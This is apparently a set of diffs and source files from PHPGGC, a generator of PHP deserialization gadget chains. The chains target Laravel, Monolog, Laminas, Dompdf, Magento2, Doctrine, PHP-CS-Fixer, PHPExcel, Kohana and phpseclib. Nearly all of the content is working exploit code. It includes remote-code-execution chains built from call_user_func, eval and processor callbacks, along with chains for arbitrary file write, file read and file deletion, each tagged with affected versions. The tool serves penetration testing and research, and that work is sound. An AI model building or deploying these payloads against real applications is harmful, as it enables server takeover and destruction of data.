28 | ) | |
29 | ) | |
30 | ]; | |
31 | } | |
32 | } |
0 | <?php | |
1 | ||
2 | namespace Doctrine\Common\Cache\Psr6 | |
3 | { | |
4 | class CacheAdapter | |
5 | { | |
6 | private $deferredItems = []; | |
7 | ||
8 | public function __construct($CacheItem, $FilesystemCache) | |
9 | { | |
10 | $this->deferredItems = ['x' => $CacheItem]; | |
11 | $this->cache = $FilesystemCache; | |
12 | } | |
13 | } | |
14 | class CacheItem | |
15 | { | |
16 | private $value; | |
17 | ||
18 | public function __construct($phpCode) | |
19 | { | |
20 | $this->value = $phpCode; | |
21 | } | |
22 | } | |
23 | } | |
24 | ||
25 | namespace Doctrine\Common\Cache | |
26 | { | |
27 | class FileCache | |
28 | { | |
29 | private $extension; | |
30 | protected $directory; | |
31 | private $umask = 0002; | |
32 | ||
33 | public function __construct($extension, $directory) | |
34 | { | |
35 | $this->extension = $extension; | |
36 | $this->directory = $directory; | |
37 | } | |
38 | } | |
39 | ||
40 | class FilesystemCache extends FileCache {} | |
41 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Dompdf; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '1.1.1 <= ?'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'coiffeur'; | |
9 | public static $information = ' | |
10 | Note that some files may not be removed (depends on permissions). | |
11 | Target versions: commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202, 1 Dec 2021 (~v1.1.1) <= exploitable | |
12 | '; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | return new \Dompdf\CPDF($parameters['remote_path']); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Dompdf; | |
3 | ||
4 | class Cpdf | |
5 | { | |
6 | public $imageCache = []; | |
7 | ||
8 | public function __construct($remote_path) { | |
9 | array_push($this->imageCache, $remote_path); | |
10 | } | |
11 | ||
12 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Dompdf; | |
3 | ||
4 | class FD2 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '? < 1.1.1'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'coiffeur'; | |
9 | public static $information = ' | |
10 | Note that some files may not be removed (depends on permissions) | |
11 | Target versions: exploitable < commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d, 1 Dec 2021 (~v1.1.1) | |
12 | '; | |
13 | ||
14 | public function generate(array $parameters) | |
15 | { | |
16 | return new \Dompdf\Adapter\CPDF($parameters['remote_path']); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Dompdf\Adapter { | |
3 | use Dompdf\Dompdf; | |
4 | ||
5 | class CPDF | |
6 | { | |
7 | public $_dompdf; | |
8 | public $_image_cache = []; | |
9 | ||
10 | public function __construct($remote_path) { | |
11 | $this->_dompdf = new Dompdf(); | |
12 | array_push($this->_image_cache, $remote_path); | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | namespace Dompdf { | |
18 | class Options { | |
19 | public $debugPng = false; | |
20 | } | |
21 | ||
22 | class Dompdf { | |
23 | public $options; | |
24 | ||
25 | public function __construct() { | |
26 | $this->options = new Options(); | |
27 | } | |
28 | } | |
29 | }⏎ |
12 | 12 | |
13 | 13 | public function generate(array $parameters) |
14 | 14 | { |
15 | return new \Archive_Tar($parameters['remote_file']); | |
15 | return new \Archive_Tar($parameters['remote_path']); | |
16 | 16 | } |
17 | 17 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Kohana; | |
3 | ||
4 | class FR1 extends \PHPGGC\GadgetChain\FileRead | |
5 | { | |
6 | public static $version = '3.*'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'byq'; | |
9 | public static $information = 'include()'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | return new \View($parameters['remote_path']); | |
14 | } | |
15 | }⏎ |
0 | <?php | |
1 | ||
2 | class View | |
3 | { | |
4 | protected $_file; | |
5 | ||
6 | public function __construct($_file) { | |
7 | $this->_file = $_file; | |
8 | } | |
9 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | $remote_file = $parameters["remote_file"]; | |
12 | $remote_path = $parameters["remote_path"]; | |
13 | 13 | |
14 | return new \Laminas\Http\Response\Stream($remote_file); | |
14 | return new \Laminas\Http\Response\Stream($remote_path); | |
15 | 15 | } |
16 | 16 | } |
0 | 0 | <?php |
1 | namespace Laminas\Http\Response { | |
2 | class Stream { | |
3 | function __construct($remote_file) { | |
1 | ||
2 | namespace Laminas\Http\Response | |
3 | { | |
4 | class Stream | |
5 | { | |
6 | function __construct($remote_path) | |
7 | { | |
4 | 8 | $this->cleanup = '1'; |
5 | $this->streamName = $remote_file; | |
9 | $this->streamName = $remote_path; | |
6 | 10 | } |
7 | 11 | } |
8 | 12 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laminas; | |
3 | ||
4 | use Laminas\Cache\Psr\CacheItemPool\CacheItem; | |
5 | use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator; | |
6 | use Laminas\Cache\Storage\Adapter\Filesystem; | |
7 | use Laminas\Cache\Storage\Adapter\FilesystemOptions; | |
8 | ||
9 | ||
10 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
11 | { | |
12 | public static $version = '2.8.0 <= 3.0.x-dev'; | |
13 | public static $vector = '__destruct'; | |
14 | public static $author = 'swapgs'; | |
15 | public static $information = ' | |
16 | This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and | |
17 | laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work. | |
18 | Asking for a remote filename without extension will create a file with a trailing dot | |
19 | (e.g. asking for `foo` will create `foo.`) | |
20 | '; | |
21 | ||
22 | public function process_parameters($parameters) | |
23 | { | |
24 | $parameters = parent::process_parameters($parameters); | |
25 | $infos = pathinfo($parameters['remote_path']); | |
26 | $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : ''; | |
27 | $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : ''; | |
28 | $parameters['dirname'] = dirname($parameters['remote_path']); | |
29 | ||
30 | return $parameters; | |
31 | } | |
32 | ||
33 | public function generate(array $parameters) | |
34 | { | |
35 | return new CacheItemPoolDecorator( | |
36 | new Filesystem( | |
37 | new FilesystemOptions($parameters['dirname'], $parameters['extension']) | |
38 | ), | |
39 | [new CacheItem($parameters['filename'], $parameters['data'])] | |
40 | ); | |
41 | } | |
42 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Laminas\Cache\Storage\Adapter | |
3 | { | |
4 | class AdapterOptions | |
5 | { | |
6 | protected $namespace; | |
7 | protected $keyPattern; | |
8 | ||
9 | function __construct() | |
10 | { | |
11 | $this->namespace = ''; | |
12 | $this->keyPattern = '/.*/'; | |
13 | } | |
14 | } | |
15 | ||
16 | class FilesystemOptions extends AdapterOptions | |
17 | { | |
18 | protected $cacheDir; | |
19 | protected $dirLevel; | |
20 | protected $suffix; | |
21 | ||
22 | function __construct($cacheDir, $extension) | |
23 | { | |
24 | parent::__construct(); | |
25 | $this->cacheDir = $cacheDir; | |
26 | $this->suffix = $extension; | |
27 | $this->dirLevel = 0; | |
28 | } | |
29 | } | |
30 | ||
31 | class Filesystem | |
32 | { | |
33 | protected $options; | |
34 | ||
35 | function __construct($options) | |
36 | { | |
37 | ||
38 | $this->options = $options; | |
39 | } | |
40 | } | |
41 | } | |
42 | ||
43 | namespace Laminas\Cache\Psr\CacheItemPool | |
44 | { | |
45 | class CacheItemPoolDecorator | |
46 | { | |
47 | protected $storage; | |
48 | protected $deferred; | |
49 | ||
50 | function __construct($storage, $deferred) | |
51 | { | |
52 | $this->storage = $storage; | |
53 | $this->deferred = $deferred; | |
54 | } | |
55 | } | |
56 | ||
57 | class CacheItem | |
58 | { | |
59 | protected $key; | |
60 | protected $value; | |
61 | ||
62 | function __construct($key, $value) | |
63 | { | |
64 | $this->key = $key; | |
65 | $this->value = $value; | |
66 | } | |
67 | } | |
68 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE10 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '5.6.0 <= 9.1.8+'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'Arjun Shibu (twitter.com/0xsegf), 0xcrypto'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $func = $parameters['function']; | |
13 | $arg = $parameters['parameter']; | |
14 | ||
15 | $guard = new \Illuminate\Auth\RequestGuard("call_user_func", $func, $arg); | |
16 | $userfn = [$guard, 'user']; | |
17 | $requiredif = new \Illuminate\Validation\Rules\RequiredIf($userfn); | |
18 | ||
19 | return $requiredif; | |
20 | } | |
21 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Illuminate\Validation\Rules | |
3 | { | |
4 | class RequiredIf | |
5 | { | |
6 | public function __construct($condition) | |
7 | { | |
8 | $this->condition = $condition; | |
9 | } | |
10 | } | |
11 | } | |
12 | ||
13 | namespace Illuminate\Auth | |
14 | { | |
15 | class RequestGuard | |
16 | { | |
17 | public function __construct($callback, $request, $provider) | |
18 | { | |
19 | $this->callback = $callback; | |
20 | $this->request = $request; | |
21 | $this->provider = $provider; | |
22 | } | |
23 | } | |
24 | }⏎ |
3 | 3 | |
4 | 4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '5.5.39'; | |
6 | public static $version = '5.4.0 <= 8.6.9+'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'BlackFan'; |
9 | 9 |
3 | 3 | |
4 | 4 | class RCE3 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '5.5.39'; | |
6 | public static $version = '5.5.0 <= 5.8.35'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'BlackFan'; |
9 | 9 | public static $information = 'This chain triggers an ErrorException after code execution.'; |
3 | 3 | |
4 | 4 | class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '5.5.39'; | |
6 | public static $version = '5.4.0 <= 8.6.9+'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'BlackFan'; |
9 | 9 |
3 | 3 | |
4 | 4 | class RCE6 extends \PHPGGC\GadgetChain\RCE\PHPCode |
5 | 5 | { |
6 | public static $version = '5.5.*'; | |
6 | public static $version = '5.5.* <= 5.8.35'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'Phith0n & holyvier'; |
9 | 9 | public static $information = ' |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '7.0.0 <= 8.6.9+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'abdilahrf & cr1f'; | |
9 | public static $information = 'Executes through eval()'; | |
10 | ||
11 | ||
12 | public function generate(array $parameters) | |
13 | { | |
14 | return new \GuzzleHttp\Cookie\FileCookieJar( | |
15 | new \Illuminate\Validation\Rules\RequiredIf( | |
16 | new \PhpOption\LazyOption($parameters['function'], [$parameters['parameter']]) | |
17 | ) | |
18 | ); | |
19 | } | |
20 | } |
0 | <?php | |
1 | ||
2 | namespace GuzzleHttp\Cookie | |
3 | { | |
4 | class FileCookieJar | |
5 | { | |
6 | private $filename; | |
7 | ||
8 | public function __construct($r) | |
9 | { | |
10 | $this->filename = $r; | |
11 | } | |
12 | } | |
13 | } | |
14 | ||
15 | namespace Illuminate\Validation\Rules | |
16 | { | |
17 | class RequiredIf | |
18 | { | |
19 | public function __construct($p) | |
20 | { | |
21 | $this->condition = [$p, 'get']; | |
22 | } | |
23 | } | |
24 | } | |
25 | ||
26 | namespace PhpOption | |
27 | { | |
28 | final class LazyOption | |
29 | { | |
30 | private $callback; | |
31 | private $arguments; | |
32 | ||
33 | function __construct($callback, $arguments) | |
34 | { | |
35 | $this->callback = $callback; | |
36 | $this->arguments = $arguments; | |
37 | } | |
38 | } | |
39 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Laravel; | |
3 | ||
4 | class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '5.4.0 <= 9.1.8+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = '1nhann'; | |
9 | ||
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $param = $parameters['parameter']; | |
15 | ||
16 | $dispatcher = new \Illuminate\Bus\Dispatcher($function); | |
17 | $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$param); | |
18 | return $pendingBroadcast; | |
19 | } | |
20 | } |
0 | <?php | |
1 | namespace Illuminate\Contracts\Queue | |
2 | { | |
3 | interface ShouldQueue | |
4 | { | |
5 | } | |
6 | } | |
7 | ||
8 | namespace Illuminate\Bus | |
9 | { | |
10 | class Dispatcher | |
11 | { | |
12 | protected $container; | |
13 | protected $pipeline; | |
14 | protected $pipes = []; | |
15 | protected $handlers = []; | |
16 | protected $queueResolver; | |
17 | function __construct($function) | |
18 | { | |
19 | $this->queueResolver = $function; | |
20 | ||
21 | } | |
22 | } | |
23 | } | |
24 | ||
25 | namespace Illuminate\Broadcasting | |
26 | { | |
27 | use Illuminate\Contracts\Queue\ShouldQueue; | |
28 | ||
29 | class BroadcastEvent implements ShouldQueue | |
30 | { | |
31 | function __construct() | |
32 | { | |
33 | ||
34 | } | |
35 | } | |
36 | ||
37 | class PendingBroadcast | |
38 | { | |
39 | protected $events; | |
40 | protected $event; | |
41 | ||
42 | function __construct($dispatcher,$param) | |
43 | { | |
44 | $this->event = new BroadcastEvent(); | |
45 | $this->event->connection = $param; | |
46 | $this->events = $dispatcher; | |
47 | } | |
48 | } | |
49 | } | |
50 |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Magento2; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '*'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'Arjun Shibu (twitter.com/0xsegf)'; | |
9 | public static $information = 'Deletes a given file/directory in the installation dir'; | |
10 | public static $parameters = ['file']; | |
11 | ||
12 | public function generate(array $parameters) | |
13 | { | |
14 | $file = $parameters['file']; | |
15 | ||
16 | return new \Magento\RemoteStorage\Plugin\Image($file); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Magento\Framework\Filesystem\Driver { | |
3 | class File {} | |
4 | } | |
5 | ||
6 | namespace Magento\Framework\Filesystem\Directory { | |
7 | class Write { | |
8 | public function __construct() { | |
9 | $this->driver = new \Magento\Framework\Filesystem\Driver\File(); | |
10 | } | |
11 | } | |
12 | } | |
13 | ||
14 | namespace Magento\RemoteStorage\Plugin { | |
15 | class Image { | |
16 | public function __construct($file) { | |
17 | $this->tmpDirectoryWrite = new \Magento\Framework\Filesystem\Directory\Write(); | |
18 | $this->tmpFiles = [$file]; | |
19 | } | |
20 | } | |
21 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class FW1 extends \PHPGGC\GadgetChain\FileWrite | |
5 | { | |
6 | public static $version = '3.0.0 <= 3.1.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mir-hossein (Mirhossein Rahmani)'; | |
9 | public static $information = 'Please use this GC only for educational purposes or legal pentest, Thank you!'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $path = $parameters['remote_path']; | |
14 | $data = $parameters['data']; | |
15 | ||
16 | $data = preg_replace('/[\r\n]/', ' ', $data); // Replaces "\r\n" with a space | |
17 | ||
18 | return new \Monolog\Handler\GroupHandler($data, $path); | |
19 | } | |
20 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Monolog | |
3 | { | |
4 | enum Level: int | |
5 | { | |
6 | case Debug = 100; | |
7 | } | |
8 | ||
9 | class LogRecord | |
10 | { | |
11 | public Level $level = \Monolog\Level::Debug; | |
12 | public string $message; | |
13 | public \DateTimeImmutable $datetime; | |
14 | ||
15 | function __construct($data) | |
16 | { | |
17 | $this->message = $data; | |
18 | $this->datetime = new \DateTimeImmutable; | |
19 | } | |
20 | } | |
21 | } | |
22 | ||
23 | namespace Monolog\Handler | |
24 | { | |
25 | class DeduplicationHandler | |
26 | { | |
27 | protected string $deduplicationStore; | |
28 | protected int $bufferSize = 1; | |
29 | protected array $buffer; | |
30 | protected \Monolog\Level $deduplicationLevel = \Monolog\Level::Debug; | |
31 | ||
32 | public function __construct($data, $path) | |
33 | { | |
34 | $this->buffer = [new \Monolog\LogRecord($data)]; | |
35 | $this->deduplicationStore = $path; | |
36 | } | |
37 | } | |
38 | ||
39 | class GroupHandler | |
40 | { | |
41 | protected array $handlers; | |
42 | ||
43 | public function __construct($data, $path) | |
44 | { | |
45 | $this->handlers = [new \Monolog\Handler\DeduplicationHandler($data, $path)]; | |
46 | } | |
47 | } | |
48 | }⏎ |
3 | 3 | |
4 | 4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '1.18 <= 2.1.1+'; | |
6 | public static $version = '1.4.1 <= 1.6.0 1.17.2 <= 2.7.0+'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'cf'; |
9 | 9 |
27 | 27 | { |
28 | 28 | $this->processors = $methods; |
29 | 29 | $this->buffer = [$command]; |
30 | $this->handler = clone $this; | |
30 | $this->handler = $this; | |
31 | 31 | } |
32 | 32 | } |
33 | }⏎ | |
33 | } |
3 | 3 | |
4 | 4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall |
5 | 5 | { |
6 | public static $version = '1.5 <= 2.1.1+'; | |
6 | public static $version = '1.4.1 <= 2.7.0+'; | |
7 | 7 | public static $vector = '__destruct'; |
8 | 8 | public static $author = 'cf'; |
9 | 9 |
28 | 28 | { |
29 | 29 | $this->processors = $methods; |
30 | 30 | $this->buffer = [$command]; |
31 | $this->handler = clone $this; | |
31 | $this->handler = $this; | |
32 | 32 | } |
33 | 33 | } |
34 | }⏎ | |
34 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.25 <= 2.7.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mayfly'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | return new \Monolog\Handler\FingersCrossedHandler($parameter, | |
15 | new \Monolog\Handler\GroupHandler($function) | |
16 | ); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | // killchain : | |
5 | // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records) | |
6 | ||
7 | class FingersCrossedHandler { | |
8 | protected $passthruLevel; | |
9 | protected $buffer = array(); | |
10 | protected $handler; | |
11 | ||
12 | public function __construct($param, $handler) | |
13 | { | |
14 | $this->passthruLevel = 0; | |
15 | $this->buffer = ['test' => [$param, 'level' => null]]; | |
16 | $this->handler = $handler; | |
17 | } | |
18 | ||
19 | } | |
20 | ||
21 | class GroupHandler { | |
22 | protected $processors = array(); | |
23 | public function __construct($function) | |
24 | { | |
25 | $this->processors = ['current', $function]; | |
26 | } | |
27 | ||
28 | } | |
29 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.10.0 <= 2.7.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mayfly'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | return new \Monolog\Handler\FingersCrossedHandler($parameter, | |
15 | new \Monolog\Handler\BufferHandler($function) | |
16 | ); | |
17 | } | |
18 | } |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | // killchain : | |
5 | // <abstract>__destruct() => <FingersCrossedHandler>close() => <FingersCrossedHandler>flushBuffer() => <GroupHandler>handleBatch($records) | |
6 | ||
7 | class FingersCrossedHandler { | |
8 | protected $passthruLevel; | |
9 | protected $buffer = array(); | |
10 | protected $handler; | |
11 | ||
12 | public function __construct($param, $handler) | |
13 | { | |
14 | $this->passthruLevel = 0; | |
15 | $this->buffer = ['test' => [$param, 'level' => null]]; | |
16 | $this->handler = $handler; | |
17 | } | |
18 | ||
19 | } | |
20 | ||
21 | class BufferHandler | |
22 | { | |
23 | protected $handler; | |
24 | protected $bufferSize = -1; | |
25 | protected $buffer; | |
26 | # ($record['level'] < $this->level) == false | |
27 | protected $level = null; | |
28 | protected $initialized = true; | |
29 | # ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) == false | |
30 | protected $bufferLimit = -1; | |
31 | protected $processors; | |
32 | ||
33 | function __construct($function) | |
34 | { | |
35 | $this->processors = ['current', $function]; | |
36 | } | |
37 | } | |
38 | ||
39 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE7 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.10.0 <= 2.7.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mir-hossein'; | |
9 | public static $information = 'Please use this exploit only for educational purposes or legal pentest, thank you!'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \Monolog\Handler\FingersCrossedHandler( | |
17 | ['pos', $function], // pos() is an alias of current() function, but it's shorter :-) | |
18 | [$parameter, 'level' => 0] | |
19 | ); | |
20 | } | |
21 | } |
0 | <?php | |
1 | namespace Monolog\Handler | |
2 | { | |
3 | class FingersCrossedHandler | |
4 | { | |
5 | protected $passthruLevel = 0; | |
6 | protected $handler; | |
7 | protected $buffer; | |
8 | protected $processors; | |
9 | ||
10 | function __construct($methods,$command) | |
11 | { | |
12 | $this->processors = $methods; | |
13 | $this->buffer = [$command]; | |
14 | $this->handler = $this; | |
15 | } | |
16 | } | |
17 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE8 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '3.0.0 <= 3.1.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'cf (Charles Fol), mir-hossein (Mirhossein Rahmani)'; | |
9 | public static $information = 'Please use this exploit only for educational purposes or legal pentest, Thank you!'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \Monolog\Handler\GroupHandler($function, $parameter); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Monolog | |
3 | { | |
4 | enum Level: int | |
5 | { | |
6 | case Debug = 100; | |
7 | } | |
8 | ||
9 | class LogRecord | |
10 | { | |
11 | public Level $level; | |
12 | public mixed $formatted; | |
13 | ||
14 | function __construct($parameter) | |
15 | { | |
16 | $this->level = \Monolog\Level::Debug; | |
17 | $this->mixed = $parameter; | |
18 | } | |
19 | } | |
20 | } | |
21 | ||
22 | namespace Monolog\Handler | |
23 | { | |
24 | class GroupHandler | |
25 | { | |
26 | protected array $handlers; | |
27 | ||
28 | public function __construct($function, $parameter) | |
29 | { | |
30 | $this->handlers = [new \Monolog\Handler\BufferHandler($function, $parameter)]; | |
31 | } | |
32 | } | |
33 | ||
34 | class BufferHandler | |
35 | { | |
36 | protected $handler; | |
37 | protected int $bufferSize = 1; | |
38 | protected int $bufferLimit = 0; | |
39 | protected array $buffer; | |
40 | protected bool $initialized = true; | |
41 | protected array $processors; | |
42 | ||
43 | public function __construct($function, $parameter) | |
44 | { | |
45 | $this->handler = $this; | |
46 | $this->buffer = [new \Monolog\LogRecord($parameter)]; | |
47 | $this->processors = ['get_object_vars', 'end', $function]; | |
48 | } | |
49 | } | |
50 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Monolog; | |
3 | ||
4 | class RCE9 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '3.0.0 <= 3.1.0+'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'mir-hossein (Mirhossein Rahmani)'; | |
9 | public static $information = 'Please use this exploit only for educational purposes or legal pentest, Thank you!'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $function = $parameters['function']; | |
14 | $parameter = $parameters['parameter']; | |
15 | ||
16 | return new \Monolog\Handler\FingersCrossedHandler($function, $parameter); | |
17 | } | |
18 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace Monolog\Handler | |
3 | { | |
4 | class FingersCrossedHandler | |
5 | { | |
6 | protected $passthruLevel = \Monolog\Level::Debug; | |
7 | protected $handler; | |
8 | protected $buffer; | |
9 | protected $processors; | |
10 | ||
11 | function __construct($function, $parameter) | |
12 | { | |
13 | $this->processors = ['get_object_vars', 'end', $function]; | |
14 | $this->buffer = [new \Monolog\LogRecord($parameter)]; | |
15 | $this->handler = $this; | |
16 | } | |
17 | } | |
18 | } | |
19 | ||
20 | namespace Monolog | |
21 | { | |
22 | enum Level: int | |
23 | { | |
24 | case Debug = 100; | |
25 | } | |
26 | ||
27 | class LogRecord | |
28 | { | |
29 | public Level $level = \Monolog\Level::Debug; | |
30 | public mixed $formatted; | |
31 | ||
32 | function __construct($parameter) | |
33 | { | |
34 | $this->mixed = $parameter; | |
35 | } | |
36 | } | |
37 | }⏎ |
8 | 8 | |
9 | 9 | public function generate(array $parameters) |
10 | 10 | { |
11 | $remote_file = $parameters["remote_file"]; | |
11 | $remote_path = $parameters["remote_path"]; | |
12 | 12 | |
13 | return new \PhpCsFixer\FileRemoval($remote_file); | |
13 | return new \PhpCsFixer\FileRemoval($remote_path); | |
14 | 14 | } |
15 | 15 | } |
16 | 16 |
5 | 5 | class FileRemoval |
6 | 6 | { |
7 | 7 | |
8 | function __construct($remote_file) | |
8 | function __construct($remote_path) | |
9 | 9 | { |
10 | $this->files = [$remote_file => $remote_file]; | |
10 | $this->files = [$remote_path => $remote_path]; | |
11 | 11 | |
12 | 12 | } |
13 | 13 |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | $remote_file = $parameters["remote_file"]; | |
12 | $remote_path = $parameters["remote_path"]; | |
13 | 13 | |
14 | return new \PhpCsFixer\Linter\ProcessLinter($remote_file); | |
14 | return new \PhpCsFixer\Linter\ProcessLinter($remote_path); | |
15 | 15 | } |
16 | 16 | }⏎ |
4 | 4 | class ProcessLinter |
5 | 5 | { |
6 | 6 | |
7 | function __construct($remote_file) | |
7 | function __construct($remote_path) | |
8 | 8 | { |
9 | $this->temporaryFile = $remote_file; | |
9 | $this->temporaryFile = $remote_path; | |
10 | 10 | $this->fileRemoval = new \PhpCsFixer\FileRemoval(); |
11 | 11 | |
12 | 12 | } |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']); | |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_file']); | |
12 | return new \PHPExcel_CachedObjectStorage_DiscISAM($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']); | |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
9 | 9 | |
10 | 10 | public function generate(array $parameters) |
11 | 11 | { |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_file']); | |
12 | return new \PHPExcel_Shared_XMLWriter($parameters['remote_path']); | |
13 | 13 | } |
14 | 14 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\PHPSecLib; | |
3 | ||
4 | class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode | |
5 | { | |
6 | public static $version = '2.0.0 <= 2.0.34'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'crlf'; | |
9 | public static $information = 'Generates warnings and notices.'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | $code = $parameters['code']; | |
14 | ||
15 | return [ | |
16 | new \phpseclib\Net\SSH1( | |
17 | new \phpseclib\Crypt\AES( | |
18 | new \phpseclib\Crypt\TripleDES($code) | |
19 | ) | |
20 | ) | |
21 | ]; | |
22 | } | |
23 | } |
0 | <?php | |
1 | ||
2 | namespace phpseclib\Net | |
3 | { | |
4 | class SSH1 | |
5 | { | |
6 | var $bitmap = 1; | |
7 | var $crypto; | |
8 | public function __construct($a) | |
9 | { | |
10 | $this->crypto = $a; | |
